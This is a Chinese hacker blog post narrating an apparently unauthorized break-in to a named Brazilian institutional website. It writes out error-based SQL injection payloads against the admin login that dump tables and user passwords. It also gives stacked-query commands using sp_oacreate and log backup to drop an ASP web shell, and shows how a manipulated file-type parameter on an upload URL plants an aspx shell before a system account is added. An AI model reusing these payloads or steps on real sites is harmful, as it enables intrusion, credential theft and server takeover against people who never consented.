标题:入侵巴西最大门户网站

作者:hackdn

转载注明

大家新年好,过年了,2012你的船票买好了么?

今天是除夕,貌似农历没大年三十

下午上网没事儿做,朋友甩来一网站,让我顺便帮帮安检了下,他让发下过程,就随便写写,有点乱,

主要是后台拿SHELL费劲了半天,高手直接飞过吧。。

巴西最大门户网站www.senai.br(塞纳工业 - -!)

GG搜了下,出来的点肯定都是不能直接注入的,该过滤的都过滤掉了~

工具扫了下,IIS 6的组建,幸好找到了后台路径

http://www.senai.br/admin/login.aspx
弱口令试了遍,进不去,'or''=' 没反应'or'='or'直接报错,幸亏没禁MAGIC.

clip_image001

看返回的组建信息,权限应该是SYS的错不了

好吧,试试可否执行语句

直接登陆框'and ( select @ @ version )=1--如图

clip_image002

哎,到这里大家该散的就散了,下面都是一般的步骤

'/**/and/**/user=1--

SQL用户是senai_web

'/**/and/**/(select/**/db_name())=1--

database:SENAI_WEB

直接爆吧
'/**/and/**/

(select/**/top/**/1/**/name/**/from/**/senai_web.dbo.sysobjects/**/where/**/xtype='U')=1--

Material_Equipamento_Produto

应该不是这表,加进去
'/**/and/**/

(select/**/top/**/1/**/name/**/from/**/senai_web.dbo.sysobjects/**/where/**/xtype='U'/**/an

d/**/name/**/not/**/in/**/('Material_Equipamento_Produto','Materia'))=1--

之后爆到Materia就不动了。 - -

OK,直接:
'/**/and/**/(select/**/top/**/1/**/col_name(object_id('Materia'),1)/**/from Materia)=1--
还是Materia

考虑,这样子效率太低了,用HAVING试试
'/**/having/**/1=1--     直接出来了表结果'Usuarios.usuCodigo'

clip_image003

实在是不懂巴西文~

谷歌翻译了下Usuarios意识是用户名

admin不出来Usuarios就应该是对的了

'/**/and/**/(select/**/top/**/1/**/col_name(object_id('Usuarios'),1)/**/from Usuarios)=1--

出来usuCodigo,试了好久不是用户名的列。第二个是usuSenha,这个肯定是密码的。

第四个ID才是usuLogin的用户名。好了

'/**/and/**/(select/**/top/**/1/**/usuLogin++usuSenha/**/from/**/Usuarios)=1--

clip_image004

click agclick

出来的账户密码直接后台登进去了

进去傻眼了,都是鸟文 如图。装了几个翻译插件都用不了。。。。

clip_image005

好吧,退出来,希望登陆界面的MSSQL权限是SA~~~~就直接ADD CMD_SHELL组建吧

Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')

返回必须SYS权限,郁闷

试试sp_oacreate:

' Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod

@s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%

^>>C:\Inetpub\wwwroot\ProjetoSenai2\Componentes_Codigos_fontes\Admin\1.txt';

路径为返回爆出的路径

可惜没权限。。。。sp_makewebtask也不行

好吧,寄权限与DB权限咯,不能差异备份就邪门了~~~!!!

' create table [hackdn_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select

@a=db_name(),@s=0x62696E backup log @a to into [hackdn_cmd](cmd)values('<%

execute(request(chr(35)))%>');declare @b sysname,@t nvarchar(4000)select @b=db_name

(),@t='D:\Dados\datainet\www\ENSI\SENAI\Site Senai\Web\1.txt' backup log @b to with

init,no_truncate;drop table [hackdn_cmd];

再访问,也不行。。。

苦逼了很久才找到上传点

clip_image006

可惜过滤了后缀呀。。。上传asp;jpg也自动修改为随机MD5的JPG了

好吧,瞎转悠后,发现了这个上传点的路径为:

http://www.senai.br/admin/bibliotecaArquivos/upload.aspx?

publicacoes_Action=Upload&tipoArquivo=doc,pdf&localSave=../../upload/publicacoes/&field=pub

licacoes_arquivo&fieldSimples=arquivo&tipoArquivoField=publicacoes_TipoDoArquivo&tamanhoArq

uivoField=publicacoes_tamanhoDoArquivo

看到了上传的文件目录,希望它是单文件没过滤哈~~

抱着试试看的心态修改下上传目录:

http://www.senai.br/admin/bibliotecaArquivos/upload.aspx?

publicacoes_Action=Upload&tipoArquivo=doc,pdf&localSave=../../upload/1.asp/&field=publicaco

es_arquivo&fieldSimples=arquivo&tipoArquivoField=publicacoes_TipoDoArquivo&tamanhoArquivoFi

eld=publicacoes_tamanhoDoArquivo

上传成功!!!直接返回了路径呀~如图:

clip_image007

可惜打不开,而且图中的返回信息也说得是Could not find a part of the path。找不到路径啊
估计肯定是没建立目录了。。。

仔细看了看URL,尼玛直接把tipoArquivo输入值作为最后判定的FILE赋值的后缀 - -!

好吧,直接修改成aspx的判定后缀试试~
http://www.senai.br/admin/bibliotecaArquivos/upload.aspx?publicacoes_Action=Upload&tipoArquivo=aspx&localSave=../../upload/publicacoes/&field=publicacoes_arquivo&fieldSimples=arquivo&tipoArquivoField=publicacoes_TipoDoArquivo&tamanhoArquivoField=publicacoes_tamanhoDoArquivo

上传后右键源码直接看到了地址!!

OK,SHELL就直接拿到手了,在线CMD可以直接加SYS账户

clip_image008

就这样了,详细也够啰嗦了。。。等着一会儿看春晚咯~~~

祝大家龙年事业顺利,顺心如意,家庭和睦,快快乐乐发大财!!!

常规的SQLServer+ASP.NET注入Sa权限拿Webshell简单提权

源链接

Hacking more

...